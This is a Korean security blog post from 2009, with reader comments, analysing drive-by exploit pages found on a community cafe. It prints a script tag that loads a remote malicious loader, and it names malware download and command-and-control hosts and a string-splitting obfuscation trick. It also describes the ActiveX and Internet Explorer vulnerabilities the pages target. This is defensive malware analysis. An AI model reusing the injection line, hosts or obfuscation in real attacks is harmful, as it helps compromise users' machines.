엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다.
다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다.

가장 먼저 나오는놈부터 보겠습니다.

help.htm
<script src=http://125.xxx.xxx.xxx/ad/bir.js></script>
<script src="http://s17.cnzz.com/stat.php?id=1255205&web_id=1255205" language="JavaScript" charset="gb2312"></script>

bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다.

그럼 bir.js 파일을 보도록 하겠습니다.



그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠..
뭔가 구린게 있으니 인코딩을 하는거겠죠?

인코딩된 내용을 디코딩해보니 브라우져가 MSIE 7버전이 아닌 경우에 MS06-014 취약점을 찾고 취약점이 있을 경우 tmg.htm 파일을 iframe으로 삽입합니다.
그리고 RealPlayer의 취약점을 찾고 RealPlayer의 버전이 6.0.14.802일 경우 so.htm을 6.0.14.552일 경우 sso.htm을 iframe으로 삽입합니다.
마지막으로 ie.htm을 iframe으로 삽입합니다.

결국 이 파일은 MS06-014 취약점과 RealPlayer 6.0.14.802와 6.0.14.552 버전의 취약점을 공격하는 스크립트입니다.


이번엔 is.htm 파일입니다.




첫번째 빨간 네모 안의 인코딩된 데이터는 쉘코드인 듯 합니다.
is.htm 파일의 처음부터 빨간 네모 있는 부분까지는 MS09-002 취약점을 공격하는 코드가 아닌가 생각됩니다.(방립동님 감사~)
방립동님께서 조언해주시면서 알려주신 사이트입니다. 참고하시면 도움이 되실듯...
http://www.hacker.com.cn/article/view_15004.html
http://blog.sina.com.cn/s/blog_4cbae5c50100c46d.html

혹시 이부분이 틀렸다면 지적해주세요~

그리고 두번째 빨간 네모 안의 인코딩된 데이터는 XML 파싱 취약점을 공격하는 코드입니다. 두번을 디코딩하면 다음과 같은 코드가 나옵니다.




이번에는 tmg.htm 파일입니다.



원래는 이것보다 더 길게 나오는데 짤렸습니다. tmg.htm은 packer로 패킹을 했기 때문에 언팩을 해야 합니다. 리버싱에서의 언팩이 아닙니다...-_-;;
http://dean.edwards.name/packer 에 가시면 패킹도 가능하고 언팩도 가능합니다.

언팩을 해보면




이번에도 디코딩해야 할게 두개가 있습니다. 하나는 실제 실행될 악성코드를 다운 받을 URL이구요 하나는 CLSID입니다. CLSID로 구글신께 질뭉을 드리면 MS06-014 취약점이라고 대답해주십니다.(구글신 만쉐~)

일단 URL의 파일을 받아 봤습니다. 그리고 실행해봤습니다.(꼭 vmware에서 하시기 바랍니다)

먼저 동일한 사이트(http://www.pinganye.net)에서 뭔가를 열심히 받아옵니다.



일단 다운 받을 파일의 목록(/css/img/List.txt)을 가져온 다음 파일을 받아옵니다. (maz.exe, daz.exe, haz.exe, paz.exe, oaz.exe)

Winalysis로 시스템 스냅샷을 뜬 후 img.exe를 실행하기 전과 비교해보니 상당히 많은 변화가 생겼습니다.
파일이 총 8개가 새롭게 생성되었고 레지스트리는 말할 것도 없습니다. 그리고 새로운 서비스도 생겼습니다.






아무래도 새로 생성된 8개의 파일은 다운 받았던 6개의 파일에 의해 생성된 듯 합니다. 그리고 서비스를 직접 확인해 봤습니다.






공격자들이 자주 애용하는 svchost -krnlsrvc가 보이구요
Windows Hardware Card는 설명이 너무 눈에 띄게 특이 하군요...-_-;;

우리의 영원한 동반자이자 친구인 Process Explorer에게 물어봤습니다... 쟤네들 도대체 지금 무슨 짓을 하고 있는지...




한놈은 계속 연결되어 있는데 한놈은 연결됐다가 끊기고를 반복하고 있었습니다.




http://sharetitt.3322.org:9012/20090030004/21000904/5366250.jsp 를 계속 요청하지만 sharetitt.3322.org는 없다고 합니다. 계속 RST 패킷만....


[추가증상]
저는 분석 시스템에서 보통 시스템폴더, 보호된 운영체제파일, 숨김파일등이 보이게끔 설정을 하곤 합니다. (개인노트북도 그렇지만...)
그런데 img.exe 이녀석...계속 숨김파일 및 폴더는 표시안함으로 설정을 되돌리는군요..
이러다간 다른 악성코드들까지 잘못하면 안보이겠네요..


Wireshark로 뜬 패킷 중에 DNS 질의하는 놈들만 골라봤습니다. 총 4개의 도메인을 질의하는데 그 중 한놈은 없다고 하네요...



www.honggu2009.com은 질의만 할 뿐 다른 행동은 하지 않았고 srily.vicp.net은 sharetitt.3322.org와 아이피가 같았습니다.
3322.org야 막혀 있으니 상관 없는데요 srily.vicp.net은 아직 sink hole 처리가 되어 있지 않군요.. 도메인 차단해야 할 듯 합니다.


img.exe 실행하면서 캡쳐했던 패킷은 첨부하겠습니다.


html 코드만 볼려다가 갑자기 이야기가 삼천포로 빠졌군요...-_-;;


다음은 so.htm과 sso.htm 파일입니다. 실제 파일 내용은 더 길지만 지면 관계상 짧게 잘랐습니다.






둘 다 RealNetworks RealPlayer ActiveX controls 취약점을 공격하는 코드입니다.
sso.htm 내용중 빨간색으로 표시된 부분 보이시죠? 유치한 방법을 사용했습니다.

"IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1" 라고 쓴 후 바로 아래에서 a 라는 글자를 없애버립니다. 그런 IERPCtl.IERPCtl.1이라고 변환이 됩니다.
별게 아니라 생각되지만 점점 복잡하게 꽈놓는게 공격자들의 성향인 듯 합니다. 앞으로가 걱정...


마지막으로 ie.htm은 FlashPlayer 버전을 확인한 후 Antivir 백신의 설치와 업데이트를 방해합니다.(SecurityPlus musicalmman님)




마지막에 파란색으로 된 부분은 패킹되어 있는 부분입니다. 패킹을 풀면 플래시플레이어의 버전에 따른 행동들을 지정하고 있습니다.







윈도우 업데이트와 주요 어플리케이션들에 대한 패치가 이루어지지 않으면 공격을 받을 수 있습니다.
다른 말로 하자면 좀비가 될 수 있다는 것이지요..

흔히 PC방에서는 바이러스 걸렸다 싶으면 백업해놓은 걸로 한번 밀면 그만이라 합니다.
하지만 백업해놓은 걸로 다시 설치하면 재감염됩니다.

안일하고 잘못된 생각들이 좀비의 수를 늘리고 있습니다.
물론 ISP들은 그걸 막기 위해 삽질해서 숙주도메인 찾아서 막고 있습니다.

sharetitt.3322.org 막혔습니다. 이 놈 몇 주 전에 유심히 지켜봤던 기억이 나네요.
헌데 sharetitt.3322.org와 같은 아이피로 srily.vicp.net 도메인이 등록되어 있습니다.
그럼 ISP는 또 막겠죠? 그럼 공격자들은 또 다른 도메인을 찾을겁니다.

3322.org가 잘 안되니 optus.nu로 갈아타자~ 라는 지하세계의 공지가 있었다고 하니 3322.org를 막는다고 전부 해결되는게 아닙니다.
지금 optus.nu에 대한 질의가 점점 늘어나고 있습니다. 몇 달 뒤엔 optus.nu를 차단하는 일이 발생할 수도 있겠죠..



이상으로 정리가 잘 되지 않은 분석을 보시느라 수고하셨습니다. ^^;;

잘못된 부분이 있다면 지적해주시면 감사하겠습니다.

그리고 분석했던 htm 파일은 필요하신분들께 드리도록 하겠습니다.





저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

  1. 자세하게 분석하셨네요^^b

    2009.03.05 09:30 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • 네 감사합니다. ^^
      viruslab님의 블로그에서도 좋은 정보 많이 얻고 있습니다~

      2009.03.05 10:00 신고 [ ADDR : EDIT/ DEL ]
  2. kkimjhd

    카페에 제가 올려뒀던 파일이네요^^ 후후.. 분석하기 힘들어서 포기하고 있었는데.. 포스팅하신거 보고 보고서 작성할 수 있게 됐네요^^ 감사하다는 말씀 남기옵니다^^

    2009.03.05 13:52 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • 도움이 되셨다면 저야 기쁘죠~
      출처만 정확히 밝혀주신다면...^^;

      2009.03.05 15:34 신고 [ ADDR : EDIT/ DEL ]
  3. 보기 편하게 분석 정리를 잘 하셨네요...

    좋은 내용 스크랩 좀 하겠습니다...

    감사합니다^^

    2009.03.05 14:57 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • 흰바탕이 역시나 보기가 더 좋군요..
      근데 전 검정바탕을 좋아하는지라...;;

      2009.03.05 15:35 신고 [ ADDR : EDIT/ DEL ]
  4. 슈멘달려

    글 잘읽었습니다.
    혹시 Winalysis좀 받을수 있을까요? 가능하시면 shumen@hanafos.com 으로 좀 보내주시면 감사합니다 +_+

    2009.03.05 16:07 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • google에서 검색하시면 됩니다.

      2009.03.05 16:20 신고 [ ADDR : EDIT/ DEL ]
    • 슈멘달려

      구글 검색을 해서 찾가가면 이상하게 해당 사이트에서 제공을 안해주는지 받을수 없어서용;

      2009.03.05 16:34 신고 [ ADDR : EDIT/ DEL ]
    • 다 안찾아보셨군요..
      간절히 원하신다면 찾으실 수 있으셨을텐데요..

      http://www.softsea.com/download/Winalysis.html

      여기서 다운로드 됩니다.
      구글신은 우리를 버리지 않으십니다...ㅎㅎ

      2009.03.05 17:27 신고 [ ADDR : EDIT/ DEL ]
    • 슈멘달려

      정말 감사합니다 ㅠ_ㅠ;; 흐미..
      인코딩 정말 많이도 해놧군요;;; 집에가서 이거 보고 VM등록해서 따라 해봐야 겟습니다 ^^

      2009.03.05 17:33 신고 [ ADDR : EDIT/ DEL ]
  5. 많은 시간 투자한게 보입니다.
    부럽군요.ㅎ

    2009.03.05 20:46 신고 [ ADDR : EDIT/ DEL : REPLY ]
  6. 와꾸최고

    죄송한데 아직 파일 있으면 코드 파일 좀 보내주실수 있나요? ^^;
    공부 하는데 쓰고 싶습니다.ㅎ
    가지고 계시다면 backstreet27@naver.com 으로 보내주시면 감사하겠습니다~ㅋ

    2009.07.14 20:42 신고 [ ADDR : EDIT/ DEL : REPLY ]